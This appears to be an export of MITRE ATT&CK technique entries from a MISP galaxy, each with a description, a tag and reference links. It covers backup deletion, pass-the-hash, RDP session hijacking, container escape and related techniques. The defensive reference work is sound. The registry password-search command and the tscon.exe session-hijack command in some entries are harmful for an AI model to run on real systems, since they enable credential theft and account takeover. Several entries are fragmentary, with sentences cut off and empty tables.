On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.

Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services. (Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios. (Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)

The tag is: |misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490"|
Table 5349. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1490">https://attack.mitre.org/techniques/T1490</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2018/02/olympic-destroyer.html">https://blog.talosintelligence.com/2018/02/olympic-destroyer.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/TheDFIRReport/status/1498657590259109894">https://twitter.com/TheDFIRReport/status/1498657590259109894</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html">https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/">https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/</a></td>
</tr>
</tbody>
</table>

Server Software Component - T1505

Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications. (Citation: volexity_0day_sophos_FW)

The tag is: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505"

Table 5350. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1505">https://attack.mitre.org/techniques/T1505</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA15-314A">https://www.us-cert.gov/ncas/alerts/TA15-314A</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/">https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/</a></td>
</tr>
</tbody>
</table>

Archive Collected Data - T1560

An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.

Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.

The tag is: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560"

Table 5351. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

2482
Web Session Cookie - T1506

Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. (Citation: Pass The Cookie)

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

There have been examples of malware targeting session cookies to bypass multi-factor authentication systems. (Citation: Unit 42 Mac Crypto Cookies January 2019)

The tag is: `misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1506"`

View relationships graph

Web Session Cookie - T1506 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1550.004"` with estimative-language:likelihood-probability="almost-certain"

Table 5352. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1506">https://attack.mitre.org/techniques/T1506</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/">https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/</a></td>
</tr>
<tr>
<td><a href="https://wunderwuzzi23.github.io/blog/passthecookie.html">https://wunderwuzzi23.github.io/blog/passthecookie.html</a></td>
</tr>
</tbody>
</table>

Uncommonly Used Port - T1065

Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.

The tag is: `misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065"`

View relationships graph

Uncommonly Used Port - T1065 has relationships with:
Network Information Discovery - T1507

Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth.

The tag is: `misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507"`

View relationships graph

Network Information Discovery - T1507 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1421"`
  with estimative-language:likelihood-probability="almost-certain"

Pass the Hash - T1075

Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)

The tag is: `misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075"`

View relationships graph

Pass the Hash - T1075 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002"`
  with estimative-language:likelihood-probability="almost-certain"
Lateral Tool Transfer - T1570

Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.

Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)

Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)

The tag is: *misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570"*

Suppress Application Icon - T1508

A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application’s icon programmatically does not require any special permissions.

This behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)

The tag is: *misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508"*
Cloud Infrastructure Discovery - T1580

An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.

Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a `<code>DescribeInstances</code>` API within the Amazon EC2 API that can return information about one or more instances within an account, the `<code>ListBuckets</code>` API that returns a list of all buckets owned by the authenticated sender of the request, the `<code>HeadBucket</code>` API to determine a bucket’s existence along with access permissions of the request sender, or the `<code>GetPublicAccessBlock</code>` API to retrieve access block configuration for a bucket. Similarly, GCP’s Cloud SDK CLI provides the `<code>gcloud compute instances list</code>` command to list all Google Compute Engine instances in a project and Azure’s CLI command `<code>az vm list</code>` lists details of virtual machines. In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).

An adversary may enumerate resources using a compromised user’s access keys to determine which are available to that user. The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence. An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as `<code>DescribeDBInstances</code>` to determine size, owner, permissions, and network ACLs of database resources.
determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.

The tag is: `misp-galaxy:mitre-attack-pattern="Cloud Infrastructure Discovery - T1580"

Table 5358. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1580">https://attack.mitre.org/techniques/T1580</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/sdk/gcloud/reference/compute/instances/list">https://cloud.google.com/sdk/gcloud/reference/compute/instances/list</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/m-trends/rpt-m-trends-2020">https://content.fireeye.com/m-trends/rpt-m-trends-2020</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html">https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html">https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html">https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest">https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest</a></td>
</tr>
<tr>
<td><a href="https://expel.io/blog/finding-evil-in-aws/">https://expel.io/blog/finding-evil-in-aws/</a></td>
</tr>
</tbody>
</table>

**Forge Web Credentials - T1606**

Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.

Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.

The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values. (Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain. (Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)

Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate...](https://attack.mitre.org/techniques/T1606)).
Authentication Material (https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms. (Citation: Pass The Cookie) (Citation: Unit 42 Mac Crypto Cookies January 2019) (Citation: Microsoft SolarWinds Customer Guidance)

The tag is: misp-galaxy:mitre-attack-pattern="Forge Web Credentials - T1606"

Table 5359. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1606">https://attack.mitre.org/techniques/T1606</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/damianh/aws-adfs-credential-generator">https://github.com/damianh/aws-adfs-credential-generator</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/">https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://wiki.zimbra.com/wiki/Preauth">https://wiki.zimbra.com/wiki/Preauth</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://wunderwuzzi23.github.io/blog/passthecookie.html">https://wunderwuzzi23.github.io/blog/passthecookie.html</a></td>
<td></td>
</tr>
</tbody>
</table>

Remote Desktop Protocol - T1076

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)

Adversaries may also perform RDP session hijacking which involves stealing a legitimate user’s remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, `<code>c:\windows\system32\tscon.exe [session number to be stolen]</code>`, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)

The tag is: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076"
Remote Desktop Protocol - T1076 has relationships with:


Table 5360. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/">http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/</a></td>
</tr>
<tr>
<td><a href="http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html">http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1076">https://attack.mitre.org/techniques/T1076</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/555.html">https://capec.mitre.org/data/definitions/555.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/nccgroup/redsnarf">https://github.com/nccgroup/redsnarf</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6">https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6</a></td>
</tr>
</tbody>
</table>

**Container Administration Command - T1609**

Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)

In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as `<code>docker exec</code>` to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as `<code>kubectl exec</code>`.(Citation: Kubectl Exec Get Shell)

The tag is: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609"
NTFS File Attributes - T1096

Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. Within MFT entries are file attributes, such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and antivirus.

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and antivirus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

The tag is: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096"

Table 5362. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html">http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1096">https://attack.mitre.org/techniques/T1096</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9d8bb53d5ea">https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9d8bb53d5ea</a></td>
</tr>
</tbody>
</table>

Permission Groups Discovery - T1069

Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.
Adversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting. (Citation: CrowdStrike BloodHound April 2018)

The tag is: `misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069"

Table 5363. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1069">https://attack.mitre.org/techniques/T1069</a></td>
</tr>
<tr>
<td><a href="https://kubernetes.io/docs/reference/access-authn-authz/authorization/">https://kubernetes.io/docs/reference/access-authn-authz/authorization/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/">https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/</a></td>
</tr>
</tbody>
</table>

**Windows Admin Shares - T1077**

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `<code>C$</code>`, `<code>ADMIN$</code>`, and `<code>IPC$</code>.

Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)

The [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using `<code>net use</code>` commands with valid credentials. (Citation: Technet Net Use)

The tag is: `misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077"

View relationships graph

Windows Admin Shares - T1077 has relationships with:


Table 5364. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://support.microsoft.com/kb/314984">http://support.microsoft.com/kb/314984</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1077">https://attack.mitre.org/techniques/T1077</a></td>
</tr>
</tbody>
</table>
Pass the Ticket - T1097

Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account’s password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user’s service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)

Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)

Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097"

View relationships graph

Pass the Ticket - T1097 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

Table 5365. Table References

Links

http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos

2492
Disabling Security Tools - T1089

Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.

The tag is: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089"

Space after Filename - T1151

Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

The tag is: misp-galaxy:mitre-attack-pattern="Space after Filename - T1151"
Escape to Host - T1611

Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)

There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as unshare and keyctl to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)

Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as docker.sock, to break out of the container via a [Container Administration Command](https://attack.mitre.org/techniques/T1609).(Citation: Container Escape) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)

Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.

The tag is: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611"
Create strategic plan - T1231

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1231).

Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)

The tag is: `misp-galaxy:mitre-attack-pattern="Create strategic plan - T1231"

---

Capture SMS Messages - T1412

A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.

On Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.

On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.

The tag is: `misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412"`
Capture SMS Messages - T1412 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

Table 5370. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1412">https://attack.mitre.org/techniques/T1412</a></td>
</tr>
</tbody>
</table>

**Credentials in Registry - T1214**

The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

- Local Machine Hive: `<code>reg query HKLM /f password /t REG_SZ /s</code>`
- Current User Hive: `<code>reg query HKCU /f password /t REG_SZ /s</code>`

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214"

View relationships graph

Credentials in Registry - T1214 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"

Table 5371. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1214">https://attack.mitre.org/techniques/T1214</a></td>
</tr>
<tr>
<td><a href="https://pentestlab.blog/2017/04/19/stored-credentials/">https://pentestlab.blog/2017/04/19/stored-credentials/</a></td>
</tr>
</tbody>
</table>

**System Time Discovery - T1124**

An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time)(Citation: Technet Windows Time Service)

System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing `<code>net time \hostname</code>` to gather the system time on a remote system. The victim’s time zone may also be inferred from the current system time or gathered by using `<code>w32tm /tz</code>`.(Citation:
On network devices, commands such as `show clock detail` can be used to see the current time configuration. This information could be useful for performing other techniques, such as executing a file with a scheduled task/job, or to discover locality information based on time zone to assist in victim targeting. Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.

The tag is: `misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124"`

### Table 5372. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/">https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1124">https://attack.mitre.org/techniques/T1124</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/ms724961.aspx">https://msdn.microsoft.com/ms724961.aspx</a></td>
</tr>
</tbody>
</table>

---

### Determine strategic target - T1241

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1241).

An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector.

The tag is: `misp-galaxy:mitre-attack-pattern="Determine strategic target - T1241"`

### Table 5373. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1241">https://attack.mitre.org/techniques/T1241</a></td>
</tr>
</tbody>
</table>
Browser Information Discovery - T1217

Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)

Browser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.

Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., %APPDATA%/Google/Chrome).(Citation: Chrome Roaming Profiles)

The tag is: `misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217"`

Table 5374. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1217">https://attack.mitre.org/techniques/T1217</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://support.google.com/chrome/a/answer/7349337">https://support.google.com/chrome/a/answer/7349337</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.kaspersky.com/blog/browser-data-theft/27871/">https://www.kaspersky.com/blog/browser-data-theft/27871/</a></td>
<td></td>
</tr>
</tbody>
</table>

Netsh Helper DLL - T1128

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)

Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)

The tag is: `misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1128"`

View relationships graph

